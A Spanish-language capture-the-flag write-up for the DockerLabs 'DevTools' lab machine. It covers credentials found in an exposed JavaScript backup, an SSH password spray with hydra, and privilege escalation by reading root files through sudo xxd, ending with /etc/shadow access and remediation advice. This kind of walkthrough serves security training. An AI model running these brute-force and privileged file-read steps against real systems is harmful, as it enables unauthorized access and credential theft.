Ir al contenido

DevTools

Este documento detalla la metodología y procedimiento completo para comprometer la máquina DevTools, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con dificultad Media. Esta máquina se centra en la explotación de información expuesta en herramientas de desarrollo web y el abuso de configuraciones inseguras de sudo.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios y descubrimiento de archivos de desarrollo expuestos.
  2. Explotación: Extracción de credenciales de archivos JavaScript y ataque de fuerza bruta dirigido.
  3. Escalada de privilegios: Abuso de privilegios sudo para leer archivos confidenciales y obtener credenciales root.

El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando un escenario común donde archivos de desarrollo son expuestos accidentalmente.


AtributoValor
NombreDevTools
AutorEl Pingüino de Mario
DificultadMedio
Fecha21/12/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y la desplegamos:

Ventana de terminal
unzip DevTools.zip
sudo bash auto_deploy.sh DevTools.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p DevTools/{content,exploits,nmap,gobuster,scripts}
cd DevTools

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 22/tcp — SSH (Secure Shell)
  • 80/tcp — HTTP (Web Server)

Puertos abiertos

Figura 2: Servicios expuestos en la máquina

Realizamos un escaneo exhaustivo de directorios:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Resultado del escaneo

Figura 3: Directorios y archivos descubiertos

  1. /index — Página principal sobre herramientas de desarrollo Página principal Figura 4: Página principal que no carga correctamente el JavaScript

  2. /backupp.js — Archivo JavaScript de backup expuesto Código JavaScript Figura 5: Archivo JavaScript con credenciales hardcodeadas

El archivo /backupp.js contiene información crítica:

// Fragmento relevante del archivo
let user = "chocolate";
let password = "chocolate";
let old_password = "baluleroh";

Hallazgos importantes:

  • Credenciales activas: chocolate:chocolate
  • Contraseña antigua: baluleroh
  • Posible reutilización de contraseñas entre usuarios

Probamos las credenciales descubiertas:

Ventana de terminal
# Intento de conexión SSH con credenciales del JavaScript
ssh chocolate@172.17.0.2
# Contraseña: chocolate

Resultado: Las credenciales chocolate:chocolate no son válidas para SSH.

Utilizando la contraseña antigua baluleroh y suponiendo reutilización, realizamos un ataque dirigido:

Ventana de terminal
# Creación de lista de usuarios comunes
echo -e "chocolate\ncarlos\nadmin\nroot\ndeveloper\ntest\nuser" > usuarios.txt
# Ataque de fuerza bruta con hydra
hydra -L usuarios.txt -p baluleroh ssh://172.17.0.2 -I -t 64

Resultado de Hydra

Figura 6: Credenciales SSH comprometidas

Credenciales obtenidas: carlos:baluleroh

Nos conectamos al sistema:

Ventana de terminal
ssh carlos@172.17.0.2

Conexión SSH exitosa

Figura 7: Acceso SSH como usuario carlos


Una vez dentro, comenzamos la enumeración:

Ventana de terminal
whoami
id
pwd
ls -la

Encontramos un archivo interesante en el home directory:

Ventana de terminal
cat nota.txt

Contenido de nota.txt

Figura 8: Nota que revela existencia de backup

Información clave: Existe un backup en /root/data.bak que podría contener información sensible.

Verificamos qué comandos podemos ejecutar con privilegios elevados:

Ventana de terminal
sudo -l

Resultado de sudo -l

Figura 9: Comandos permitidos con sudo

Hallazgos:

  • ping puede ejecutarse como root sin contraseña
  • xxd puede ejecutarse como root sin contraseña

Aprovechamos los privilegios de xxd para leer el archivo de backup:

Ventana de terminal
# Usamos xxd para leer el archivo y luego revertir la salida hex
sudo xxd /root/data.bak | xxd -r

Alternativa más eficiente:

Ventana de terminal
sudo xxd -p /root/data.bak | xxd -p -r

Contenido del backup

Figura 10: Credenciales root obtenidas del backup

Credenciales root descubiertas: root:jsx^^462

Utilizamos las credenciales obtenidas para acceder como root:

Ventana de terminal
su root
# Contraseña: jsx^^462

Acceso root obtenido

Figura 11: Shell como usuario root

Verificación final:

Ventana de terminal
id
whoami
cat /etc/shadow # Solo para demostración de acceso completo

VulnerabilidadSeveridadImpactoCWE/Referencia
Archivos de desarrollo expuestos públicamenteAltaExposición de credencialesCWE-530
Hardcoding de credenciales en JavaScriptCríticaAcceso comprometidoCWE-798
Reutilización de contraseñas entre usuariosAltaEscalada de ataqueCWE-521
Configuración insegura de sudo (xxd)CríticaLectura de archivos privilegiadosCWE-269
Backup de datos sensibles en ubicación accesibleMediaExposición de informaciónCWE-530
Falta de rotación de contraseñasMediaAtaques históricos efectivosCWE-263
  1. Gestión de Archivos de Desarrollo:

    • Excluir archivos de desarrollo (.js, .bak, .old) del directorio web público
    • Implementar reglas en el servidor web para bloquear acceso a extensiones sensibles
    • Utilizar .gitignore y .htaccess apropiadamente
    • Realizar auditorías periódicas de archivos expuestos
  2. Gestión de Credenciales:

    • Eliminar hardcoding de credenciales en código fuente
    • Utilizar variables de entorno o sistemas de gestión de secretos
    • Implementar políticas de no reutilización de contraseñas
    • Rotar contraseñas regularmente, especialmente después de exposición
  3. Configuración de Sudo:

    • Revisar y minimizar privilegios sudo concedidos
    • Evitar comandos genéricos como xxd que permiten lectura arbitraria
    • Implementar reglas específicas en lugar de permisos amplios
    Ventana de terminal
    # INCORRECTO
    carlos ALL=(ALL) NOPASSWD: /usr/bin/xxd
    # CORRECTO (si es necesario)
    carlos ALL=(ALL) NOPASSWD: /usr/bin/xxd /var/log/*
  4. Protección de Backups:

    • Almacenar backups en ubicaciones seguras con permisos restringidos
    • Encriptar archivos de backup que contengan información sensible
    • Implementar controles de acceso basados en roles
    • Auditar regularmente ubicaciones de archivos de backup
  5. Monitoreo y Auditoría:

    • Implementar logging de accesos SSH fallidos y exitosos
    • Configurar alertas para múltiples intentos de autenticación
    • Monitorear ejecución de comandos con privilegios elevados
    • Realizar revisiones periódicas de configuración de seguridad
  6. Hardening del Servidor Web:

    • Configurar cabeceras de seguridad adecuadas
    • Deshabilitar listado de directorios
    • Implementar WAF (Web Application Firewall)
    • Realizar escaneos de vulnerabilidades regularmente